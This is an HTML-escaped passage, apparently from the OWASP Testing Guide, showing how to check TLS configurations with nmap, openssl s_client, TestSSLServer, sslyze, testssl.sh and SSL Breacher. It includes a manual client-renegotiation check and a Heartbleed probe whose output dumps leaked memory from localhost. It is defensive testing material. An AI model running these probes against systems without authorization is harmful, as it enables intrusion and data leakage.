|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|_  least strength: strong&lt;br /&gt;
995/tcp open  pop3s&lt;br /&gt;
| ssl-cert: Subject: commonName=*.exapmple.com&lt;br /&gt;
| Issuer: commonName=*******&lt;br /&gt;
| Public Key type: rsa&lt;br /&gt;
| Public Key bits: 2048&lt;br /&gt;
| Not valid before: 2010-01-23T00:00:00+00:00&lt;br /&gt;
| Not valid after:  2020-02-28T23:59:59+00:00&lt;br /&gt;
| MD5:   *******&lt;br /&gt;
|_SHA-1: *******&lt;br /&gt;
| ssl-enum-ciphers: &lt;br /&gt;
|   SSLv3: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|   TLSv1.0: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|_  least strength: strong&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====&lt;br /&gt;
&lt;br /&gt;
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the  server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ openssl s_client -connect www2.example.com:443&lt;br /&gt;
CONNECTED(00000003)&lt;br /&gt;
depth=2 ******&lt;br /&gt;
verify error:num=20:unable to get local issuer certificate&lt;br /&gt;
verify return:0&lt;br /&gt;
---&lt;br /&gt;
Certificate chain&lt;br /&gt;
 0 s:******&lt;br /&gt;
   i:******&lt;br /&gt;
 1 s:******&lt;br /&gt;
   i:******&lt;br /&gt;
 2 s:******&lt;br /&gt;
   i:******&lt;br /&gt;
---&lt;br /&gt;
Server certificate&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
******&lt;br /&gt;
-----END CERTIFICATE-----&lt;br /&gt;
subject=******&lt;br /&gt;
issuer=******&lt;br /&gt;
---&lt;br /&gt;
No client certificate CA names sent&lt;br /&gt;
---&lt;br /&gt;
SSL handshake has read 3558 bytes and written 640 bytes&lt;br /&gt;
---&lt;br /&gt;
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA&lt;br /&gt;
Server public key is 2048 bit&lt;br /&gt;
Secure Renegotiation IS NOT supported&lt;br /&gt;
Compression: NONE&lt;br /&gt;
Expansion: NONE&lt;br /&gt;
SSL-Session:&lt;br /&gt;
    Protocol  : TLSv1&lt;br /&gt;
    Cipher    : DES-CBC3-SHA&lt;br /&gt;
    Session-ID: ******&lt;br /&gt;
    Session-ID-ctx: &lt;br /&gt;
    Master-Key: ******&lt;br /&gt;
    Key-Arg   : None&lt;br /&gt;
    PSK identity: None&lt;br /&gt;
    PSK identity hint: None&lt;br /&gt;
    SRP username: None&lt;br /&gt;
    Start Time: ******&lt;br /&gt;
    Timeout   : 300 (sec)&lt;br /&gt;
    Verify return code: 20 (unable to get local issuer certificate)&lt;br /&gt;
---&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now the tester can write the first line of an HTTP request and then R in a new line.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD / HTTP/1.1&lt;br /&gt;
R&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Server is renegotiating&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
RENEGOTIATING&lt;br /&gt;
depth=2 C******&lt;br /&gt;
verify error:num=20:unable to get local issuer certificate&lt;br /&gt;
verify return:0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And the tester can complete our request, checking for response.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD / HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator.  )&lt;br /&gt;
Connection: close&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Cache-Control: no-cache&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 1792  &lt;br /&gt;
&lt;br /&gt;
read:errno=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====&lt;br /&gt;
&lt;br /&gt;
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS)  exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ java -jar TestSSLServer.jar www3.example.com 443&lt;br /&gt;
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2&lt;br /&gt;
Deflate compression: no&lt;br /&gt;
Supported cipher suites (ORDER IS NOT SIGNIFICANT):&lt;br /&gt;
  SSLv3&lt;br /&gt;
     RSA_WITH_RC4_128_SHA&lt;br /&gt;
     RSA_WITH_3DES_EDE_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_3DES_EDE_CBC_SHA&lt;br /&gt;
     RSA_WITH_AES_128_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_AES_128_CBC_SHA&lt;br /&gt;
     RSA_WITH_AES_256_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_AES_256_CBC_SHA&lt;br /&gt;
     RSA_WITH_CAMELLIA_128_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_CAMELLIA_128_CBC_SHA&lt;br /&gt;
     RSA_WITH_CAMELLIA_256_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_CAMELLIA_256_CBC_SHA&lt;br /&gt;
     TLS_RSA_WITH_SEED_CBC_SHA&lt;br /&gt;
     TLS_DHE_RSA_WITH_SEED_CBC_SHA&lt;br /&gt;
  (TLSv1.0: idem)&lt;br /&gt;
  (TLSv1.1: idem)&lt;br /&gt;
  TLSv1.2&lt;br /&gt;
     RSA_WITH_RC4_128_SHA&lt;br /&gt;
     RSA_WITH_3DES_EDE_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_3DES_EDE_CBC_SHA&lt;br /&gt;
     RSA_WITH_AES_128_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_AES_128_CBC_SHA&lt;br /&gt;
     RSA_WITH_AES_256_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_AES_256_CBC_SHA&lt;br /&gt;
     RSA_WITH_AES_128_CBC_SHA256&lt;br /&gt;
     RSA_WITH_AES_256_CBC_SHA256&lt;br /&gt;
     RSA_WITH_CAMELLIA_128_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_CAMELLIA_128_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_AES_128_CBC_SHA256&lt;br /&gt;
     DHE_RSA_WITH_AES_256_CBC_SHA256&lt;br /&gt;
     RSA_WITH_CAMELLIA_256_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_CAMELLIA_256_CBC_SHA&lt;br /&gt;
     TLS_RSA_WITH_SEED_CBC_SHA&lt;br /&gt;
     TLS_DHE_RSA_WITH_SEED_CBC_SHA&lt;br /&gt;
     TLS_RSA_WITH_AES_128_GCM_SHA256&lt;br /&gt;
     TLS_RSA_WITH_AES_256_GCM_SHA384&lt;br /&gt;
     TLS_DHE_RSA_WITH_AES_128_GCM_SHA256&lt;br /&gt;
     TLS_DHE_RSA_WITH_AES_256_GCM_SHA384&lt;br /&gt;
----------------------&lt;br /&gt;
Server certificate(s):&lt;br /&gt;
  ******&lt;br /&gt;
----------------------&lt;br /&gt;
Minimal encryption strength:     strong encryption (96-bit or more)&lt;br /&gt;
Achievable encryption strength:  strong encryption (96-bit or more)&lt;br /&gt;
BEAST status: vulnerable&lt;br /&gt;
CRIME status: protected&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Example 6.  Testing SSL/TLS vulnerabilities with sslyze====&lt;br /&gt;
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./sslyze.py --regular example.com:443&lt;br /&gt;
&lt;br /&gt;
 REGISTERING AVAILABLE PLUGINS&lt;br /&gt;
 -----------------------------&lt;br /&gt;
&lt;br /&gt;
  PluginHSTS&lt;br /&gt;
  PluginSessionRenegotiation&lt;br /&gt;
  PluginCertInfo&lt;br /&gt;
  PluginSessionResumption&lt;br /&gt;
  PluginOpenSSLCipherSuites&lt;br /&gt;
  PluginCompression&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 CHECKING HOST(S) AVAILABILITY&lt;br /&gt;
 -----------------------------&lt;br /&gt;
&lt;br /&gt;
  example.com:443                      =&amp;gt; 127.0.0.1:443&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443&lt;br /&gt;
 ---------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
  * Compression :&lt;br /&gt;
        Compression Support:      Disabled&lt;br /&gt;
&lt;br /&gt;
  * Session Renegotiation :&lt;br /&gt;
      Client-initiated Renegotiations:    Rejected&lt;br /&gt;
      Secure Renegotiation:               Supported&lt;br /&gt;
&lt;br /&gt;
  * Certificate :&lt;br /&gt;
      Validation w/ Mozilla's CA Store:  Certificate is NOT Trusted: unable to get local issuer certificate&lt;br /&gt;
      Hostname Validation:               MISMATCH                           &lt;br /&gt;
      SHA1 Fingerprint:                  ******&lt;br /&gt;
&lt;br /&gt;
      Common Name:                       www.example.com                     &lt;br /&gt;
      Issuer:                            ******&lt;br /&gt;
      Serial Number:                     ****                               &lt;br /&gt;
      Not Before:                        Sep 26 00:00:00 2010 GMT           &lt;br /&gt;
      Not After:                         Sep 26 23:59:59 2020 GMT   &lt;br /&gt;
       &lt;br /&gt;
      Signature Algorithm:               sha1WithRSAEncryption              &lt;br /&gt;
      Key Size:                          1024 bit                           &lt;br /&gt;
      X509v3 Subject Alternative Name:   {'othername': ['&amp;lt;unsupported&amp;gt;'], 'DNS': ['www.example.com']}&lt;br /&gt;
&lt;br /&gt;
  * OCSP Stapling :&lt;br /&gt;
      Server did not send back an OCSP response.                                   &lt;br /&gt;
&lt;br /&gt;
  * Session Resumption :&lt;br /&gt;
      With Session IDs:           Supported (5 successful, 0 failed, 0 errors, 5 total attempts).&lt;br /&gt;
      With TLS Session Tickets:   Supported&lt;br /&gt;
&lt;br /&gt;
  * SSLV2 Cipher Suites :&lt;br /&gt;
&lt;br /&gt;
      Rejected Cipher Suite(s): Hidden &lt;br /&gt;
&lt;br /&gt;
      Preferred Cipher Suite: None     &lt;br /&gt;
&lt;br /&gt;
      Accepted Cipher Suite(s): None   &lt;br /&gt;
&lt;br /&gt;
      Undefined - An unexpected error happened: None &lt;br /&gt;
&lt;br /&gt;
  * SSLV3 Cipher Suites :&lt;br /&gt;
&lt;br /&gt;
      Rejected Cipher Suite(s): Hidden &lt;br /&gt;
&lt;br /&gt;
      Preferred Cipher Suite:          &lt;br /&gt;
        RC4-SHA                       128 bits      HTTP 200 OK                        &lt;br /&gt;
&lt;br /&gt;
      Accepted Cipher Suite(s):        &lt;br /&gt;
        CAMELLIA256-SHA               256 bits      HTTP 200 OK                        &lt;br /&gt;
        RC4-SHA                       128 bits      HTTP 200 OK                        &lt;br /&gt;
        CAMELLIA128-SHA               128 bits      HTTP 200 OK                        &lt;br /&gt;
&lt;br /&gt;
      Undefined - An unexpected error happened: None &lt;br /&gt;
&lt;br /&gt;
  * TLSV1_1 Cipher Suites :&lt;br /&gt;
&lt;br /&gt;
      Rejected Cipher Suite(s): Hidden &lt;br /&gt;
&lt;br /&gt;
      Preferred Cipher Suite: None     &lt;br /&gt;
&lt;br /&gt;
      Accepted Cipher Suite(s): None   &lt;br /&gt;
&lt;br /&gt;
      Undefined - An unexpected error happened: &lt;br /&gt;
        ECDH-RSA-AES256-SHA             socket.timeout - timed out         &lt;br /&gt;
        ECDH-ECDSA-AES256-SHA           socket.timeout - timed out         &lt;br /&gt;
&lt;br /&gt;
  * TLSV1_2 Cipher Suites :&lt;br /&gt;
&lt;br /&gt;
      Rejected Cipher Suite(s): Hidden &lt;br /&gt;
&lt;br /&gt;
      Preferred Cipher Suite: None     &lt;br /&gt;
&lt;br /&gt;
      Accepted Cipher Suite(s): None   &lt;br /&gt;
&lt;br /&gt;
      Undefined - An unexpected error happened: &lt;br /&gt;
        ECDH-RSA-AES256-GCM-SHA384      socket.timeout - timed out         &lt;br /&gt;
        ECDH-ECDSA-AES256-GCM-SHA384    socket.timeout - timed out         &lt;br /&gt;
&lt;br /&gt;
  * TLSV1 Cipher Suites :&lt;br /&gt;
&lt;br /&gt;
      Rejected Cipher Suite(s): Hidden &lt;br /&gt;
&lt;br /&gt;
      Preferred Cipher Suite:          &lt;br /&gt;
        RC4-SHA                       128 bits      Timeout on HTTP GET                &lt;br /&gt;
&lt;br /&gt;
      Accepted Cipher Suite(s):        &lt;br /&gt;
        CAMELLIA256-SHA               256 bits      HTTP 200 OK                        &lt;br /&gt;
        RC4-SHA                       128 bits      HTTP 200 OK                        &lt;br /&gt;
        CAMELLIA128-SHA               128 bits      HTTP 200 OK                        &lt;br /&gt;
&lt;br /&gt;
      Undefined - An unexpected error happened: &lt;br /&gt;
        ADH-CAMELLIA256-SHA             socket.timeout - timed out         &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 SCAN COMPLETED IN 9.68 S&lt;br /&gt;
 ------------------------&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Example 7.  Testing SSL/TLS with testssl.sh====&lt;br /&gt;
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It's a very easy to use tool. Here's some sample output (without colors):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@myhost: % testssl.sh owasp.org      &lt;br /&gt;
&lt;br /&gt;
########################################################&lt;br /&gt;
testssl.sh v2.0rc3  (https://testssl.sh)&lt;br /&gt;
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)&lt;br /&gt;
&lt;br /&gt;
   This program is free software. Redistribution + &lt;br /&gt;
   modification under GPLv2 is permitted. &lt;br /&gt;
   USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!&lt;br /&gt;
&lt;br /&gt;
 Note you can only check the server against what is&lt;br /&gt;
 available (ciphers/protocols) locally on your machine&lt;br /&gt;
########################################################&lt;br /&gt;
&lt;br /&gt;
Using &amp;quot;OpenSSL 1.0.2-beta1 24 Feb 2014&amp;quot; on&lt;br /&gt;
      &amp;quot;myhost:/&amp;lt;mypath&amp;gt;/bin/openssl64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Testing now (2014-04-17 15:06) ---&amp;gt; owasp.org:443 &amp;lt;---&lt;br /&gt;
(&amp;quot;owasp.org&amp;quot; resolves to &amp;quot;192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e&amp;quot;) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt; Testing Protocols&lt;br /&gt;
 &lt;br /&gt;
 SSLv2     NOT offered (ok) &lt;br /&gt;
 SSLv3     offered &lt;br /&gt;
 TLSv1     offered (ok) &lt;br /&gt;
 TLSv1.1   offered (ok) &lt;br /&gt;
 TLSv1.2   offered (ok) &lt;br /&gt;
&lt;br /&gt;
 SPDY/NPN  not offered&lt;br /&gt;
&lt;br /&gt;
--&amp;gt; Testing standard cipher lists&lt;br /&gt;
 &lt;br /&gt;
 Null Cipher              NOT offered (ok) &lt;br /&gt;
 Anonymous NULL Cipher    NOT offered (ok) &lt;br /&gt;
 Anonymous DH Cipher      NOT offered (ok) &lt;br /&gt;
 40 Bit encryption        NOT offered (ok) &lt;br /&gt;
 56 Bit encryption        NOT offered (ok) &lt;br /&gt;
 Export Cipher (general)  NOT offered (ok) &lt;br /&gt;
 Low (&amp;lt;=64 Bit)           NOT offered (ok) &lt;br /&gt;
 DES Cipher               NOT offered (ok) &lt;br /&gt;
 Triple DES Cipher        offered&lt;br /&gt;
 Medium grade encryption  offered&lt;br /&gt;
 High grade encryption    offered (ok) &lt;br /&gt;
&lt;br /&gt;
--&amp;gt; Testing server defaults (Server Hello)&lt;br /&gt;
 &lt;br /&gt;
 Negotiated protocol       TLSv1.2 &lt;br /&gt;
 Negotiated cipher         AES128-GCM-SHA256 &lt;br /&gt;
 &lt;br /&gt;
 Server key size           2048 bit&lt;br /&gt;
 TLS server extensions:    server name, renegotiation info, session ticket, heartbeat&lt;br /&gt;
 Session Tickets RFC 5077  300 seconds&lt;br /&gt;
&lt;br /&gt;
--&amp;gt; Testing specific vulnerabilities&lt;br /&gt;
 &lt;br /&gt;
 Heartbleed (CVE-2014-0160), experimental  NOT vulnerable (ok) &lt;br /&gt;
 Renegotiation (CVE 2009-3555)             NOT vulnerable (ok) &lt;br /&gt;
 CRIME, TLS (CVE-2012-4929)                NOT vulnerable (ok)  &lt;br /&gt;
&lt;br /&gt;
--&amp;gt; Checking RC4 Ciphers &lt;br /&gt;
&lt;br /&gt;
RC4 seems generally available. Now testing specific ciphers...&lt;br /&gt;
 &lt;br /&gt;
 Hexcode    Cipher Name                   KeyExch.  Encryption Bits&lt;br /&gt;
--------------------------------------------------------------------&lt;br /&gt;
 [0x05]     RC4-SHA                       RSA         RC4      128&lt;br /&gt;
&lt;br /&gt;
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a&lt;br /&gt;
&lt;br /&gt;
--&amp;gt; Testing HTTP Header response &lt;br /&gt;
 &lt;br /&gt;
 HSTS        no &lt;br /&gt;
 Server      Apache&lt;br /&gt;
 Application (None)&lt;br /&gt;
 &lt;br /&gt;
--&amp;gt; Testing (Perfect) Forward Secrecy  (P)FS) &lt;br /&gt;
&lt;br /&gt;
no PFS available &lt;br /&gt;
&lt;br /&gt;
Done now (2014-04-17 15:07) ---&amp;gt; owasp.org:443 &amp;lt;---&lt;br /&gt;
&lt;br /&gt;
user@myhost: %    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
STARTTLS would be tested via &amp;lt;code&amp;gt;testssl.sh -t smtp.gmail.com:587  smtp&amp;lt;/code&amp;gt;, each ciphers with &amp;lt;code&amp;gt;testssl -e &amp;lt;target&amp;gt;&amp;lt;/code&amp;gt;, each ciphers per protocol with &amp;lt;code&amp;gt;testssl -E &amp;lt;target&amp;gt;&amp;lt;/code&amp;gt;. To just display what local ciphers that are installed for openssl see &amp;lt;code&amp;gt;testssl -V&amp;lt;/code&amp;gt;. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Additionally it provides a prototype (via &amp;quot;testssl.sh -V&amp;quot;) of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Example 8.  Testing SSL/TLS with SSL Breacher ====&lt;br /&gt;
This tool [99] is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.&lt;br /&gt;
It supports the following checks:&lt;br /&gt;
#HeartBleed&lt;br /&gt;
#ChangeCipherSpec Injection&lt;br /&gt;
#BREACH &lt;br /&gt;
#BEAST  &lt;br /&gt;
#Forward Secrecy support&lt;br /&gt;
#RC4 support&lt;br /&gt;
#CRIME &amp;amp; TIME (If CRIME is detected, TIME will also be reported)&lt;br /&gt;
#Lucky13&lt;br /&gt;
#HSTS: Check for implementation of HSTS header&lt;br /&gt;
# HSTS: Reasonable duration of MAX-AGE &lt;br /&gt;
# HSTS: Check for SubDomains support&lt;br /&gt;
#Certificate expiration&lt;br /&gt;
#Insufficient public key-length&lt;br /&gt;
#Host-name mismatch&lt;br /&gt;
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)&lt;br /&gt;
#SSLv2 support&lt;br /&gt;
#Weak ciphers check&lt;br /&gt;
#Null Prefix in certificate&lt;br /&gt;
#HTTPS Stripping&lt;br /&gt;
#Surf Jacking&lt;br /&gt;
#Non-SSL elements/contents embedded in SSL page&lt;br /&gt;
#Cache-Control&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pentester@r00ting: % breacher.sh https://localhost/login.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Host Info:&lt;br /&gt;
==============&lt;br /&gt;
Host : localhost&lt;br /&gt;
Port : 443&lt;br /&gt;
Path : /login.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Certificate Info:&lt;br /&gt;
==================&lt;br /&gt;
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)&lt;br /&gt;
Expiration Date: Sat Nov 09 07:48:47 SGT 2019&lt;br /&gt;
Signature Hash Algorithm: SHA1withRSA&lt;br /&gt;
Public key: Sun RSA public key, 1024 bits&lt;br /&gt;
  modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517&lt;br /&gt;
  public exponent: 65537&lt;br /&gt;
Signed for: CN=localhost&lt;br /&gt;
Signed by: CN=localhost&lt;br /&gt;
Total certificate chain: 1&lt;br /&gt;
&lt;br /&gt;
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Certificate Validation:&lt;br /&gt;
===============================&lt;br /&gt;
[!] Signed using Insufficient public key length 1024 bits&lt;br /&gt;
    (Refer to http://www.keylength.com/ for details)&lt;br /&gt;
[!] Certificate Signer: Self-signed/Untrusted CA  - verified with Firefox &amp;amp; Java ROOT CAs.&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Loading module: Hut3 Cardiac Arrest ...&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...&lt;br /&gt;
&lt;br /&gt;
[-] Connecting to 127.0.0.1:443 using SSLv3&lt;br /&gt;
[-] Sending ClientHello&lt;br /&gt;
[-] ServerHello received&lt;br /&gt;
[-] Sending Heartbeat&lt;br /&gt;
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3&lt;br /&gt;
[-] Displaying response (lines consisting entirely of null bytes are removed):&lt;br /&gt;
&lt;br /&gt;
  0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04  ......SHs.|.....&lt;br /&gt;
  0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0  ..-I...@........&lt;br /&gt;
  0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00  .B.D.Y..........&lt;br /&gt;
  0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00  .......... .!.&amp;quot;.&lt;br /&gt;
  0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00  #.$.%.&amp;amp;.'.(.).*.&lt;br /&gt;
  0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00  +.,.-.../.0.1.2.&lt;br /&gt;
  0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00  3.4.5.6.7.8.9.:.&lt;br /&gt;
  00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00  ;.&amp;lt;.=.&amp;gt;.?.@.A.B.&lt;br /&gt;
  00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00  C.D.E.F.`.a.b.c.&lt;br /&gt;
  00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00  d.e.f.g.h.i.j.k.&lt;br /&gt;
  00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00  l.m.............&lt;br /&gt;
  01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0   .!.&amp;quot;.#.$.%.&amp;amp;.'.&lt;br /&gt;
  01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0  (.).*.+.,.-.../.&lt;br /&gt;
  01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0  0.1.2.3.4.5.6.7.&lt;br /&gt;
  01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0  8.9.:.;.&amp;lt;.=.&amp;gt;.?.&lt;br /&gt;
  01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0  @.A.B.C.D.E.F.G.&lt;br /&gt;
  01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0  H.I.J.K.L.M.N.O.&lt;br /&gt;
  0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0  P.Q.R.S.T.U.V.W.&lt;br /&gt;
  0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0  X.Y.Z.[.\.].^._.&lt;br /&gt;
  0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0  `.a.b.c.d.e.f.g.&lt;br /&gt;
  0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0  h.i.j.k.l.m.n.o.&lt;br /&gt;
  0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0  p.q.r.s.t.u.v.w.&lt;br /&gt;
  0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0  x.y.z.{.|.}.~...&lt;br /&gt;
  02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.&lt;br /&gt;
  02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............&lt;br /&gt;
  0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........&lt;br /&gt;
  0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02  ..........}.....&lt;br /&gt;
&lt;br /&gt;
[-] Closing connection&lt;br /&gt;
&lt;br /&gt;
[-] Connecting to 127.0.0.1:443 using TLSv1.0&lt;br /&gt;
[-] Sending ClientHello&lt;br /&gt;
[-] ServerHello received&lt;br /&gt;
[-] Sending Heartbeat&lt;br /&gt;
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0&lt;br /&gt;
[-] Displaying response (lines consisting entirely of null bytes are removed):&lt;br /&gt;
&lt;br /&gt;
  0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04  ......SHs.|.....&lt;br /&gt;
  0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0  ..-I...@........&lt;br /&gt;
  0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00  .B.D.Y..........&lt;br /&gt;
